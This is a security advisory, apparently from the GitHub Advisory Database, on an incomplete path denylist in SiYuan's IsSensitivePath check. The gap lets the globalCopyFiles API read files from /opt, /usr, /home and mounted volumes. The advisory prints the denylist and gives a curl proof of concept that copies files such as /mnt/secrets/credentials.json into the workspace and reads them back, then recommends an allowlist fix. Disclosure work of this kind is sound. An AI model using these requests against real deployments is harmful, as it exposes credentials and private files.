Advisory

GHSA-vm69-h85x-8p85

Also known as: CVE-2026-33194, GO-2026-4766

Summary

SiYuan has an Incomplete Fix for IsSensitivePath Denylist Allows File Read from /opt, /usr, /home (GHSA-h5vh-m7fg-w5h6 Bypass)

Details

Summary

The IsSensitivePath() function in kernel/util/path.go uses a denylist approach that was recently expanded (GHSA-h5vh-m7fg-w5h6, commit 9914fd1) but remains incomplete. Multiple security-relevant Linux directories are not blocked, including /opt (application data), /usr (local configs/binaries), /home (other users), /mnt and /media (mounted volumes). The globalCopyFiles and importStdMd endpoints rely on IsSensitivePath as their primary defense against reading files outside the workspace.

Details

Current denylist in kernel/util/path.go:391-405:

prefixes := []string{
    "/.",       // dotfiles
    "/etc",     // system config
    "/root",    // root home
    "/var",     // variable data
    "/proc",    // process info
    "/sys",     // sysfs
    "/run",     // runtime data
    "/bin",     // binaries
    "/boot",    // boot files
    "/dev",     // devices
    "/lib",     // libraries
    "/srv",     // service data
    "/tmp",     // temp files
}

NOT blocked:

  • /opt — commonly contains application data, databases, credentials. In SiYuan Docker, /opt/siyuan/ contains the application itself.
  • /usr — contains /usr/local/etc, /usr/local/share, custom configs
  • /home — other users' home directories (only ~/.ssh and ~/.config of the current HomeDir are blocked via separate checks, but other users' homes are accessible)
  • /mnt, /media — mounted volumes, network shares, often containing secrets
  • /snap — snap package data
  • /sbin, /lib64 — system binaries/libraries

The globalCopyFiles endpoint at kernel/api/file.go:82 uses IsSensitivePath as its sole path validation:

if util.IsSensitivePath(absSrc) {
    // reject
    continue
}
// File is copied into workspace — then readable via /api/file/getFile

PoC

# Read SiYuan's own application files from /opt (Docker deployment)
curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \
  -H 'Authorization: Token YOUR_API_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"srcs":["/opt/siyuan/kernel/SiYuan-Kernel"],"destDir":"data/assets"}'

# Then read the copied file from workspace
curl -s 'http://127.0.0.1:6806/api/file/getFile' \
  -H 'Authorization: Token YOUR_API_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"path":"data/assets/SiYuan-Kernel"}'

# Read files from mounted volumes
curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \
  -H 'Authorization: Token YOUR_API_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"srcs":["/mnt/secrets/credentials.json"],"destDir":"data/assets"}'

Impact

  • Read arbitrary files from /opt, /usr, /home, /mnt, /media and any other non-denylisted path
  • In Docker deployments: read application source code, configs, mounted secrets
  • The denylist approach is fundamentally flawed — any newly added filesystem path is accessible until explicitly blocked

Recommended Fix

Switch from a denylist to an allowlist approach. Only permit copying from the workspace directory and explicitly approved external paths:

func IsSensitivePath(p string) bool {
    absPath := filepath.Clean(p)

    // Allowlist: only workspace and configured safe directories
    if strings.HasPrefix(absPath, WorkspaceDir) {
        // Block workspace-internal sensitive paths (conf/)
        if strings.HasPrefix(absPath, filepath.Join(WorkspaceDir, "conf")) {
            return true
        }
        return false
    }

    // Everything outside workspace is sensitive by default
    return true
}

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2026-03-18 20:10 UTC
Modified
2026-11-05 21:45 UTC

Affected packages and fixes

github.com/siyuan-note/siyuan/kernel

Go · All systems

Affected

  • introduced 0, fixed 3.6.2 (semver)

Fixed versions

3.6.2

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences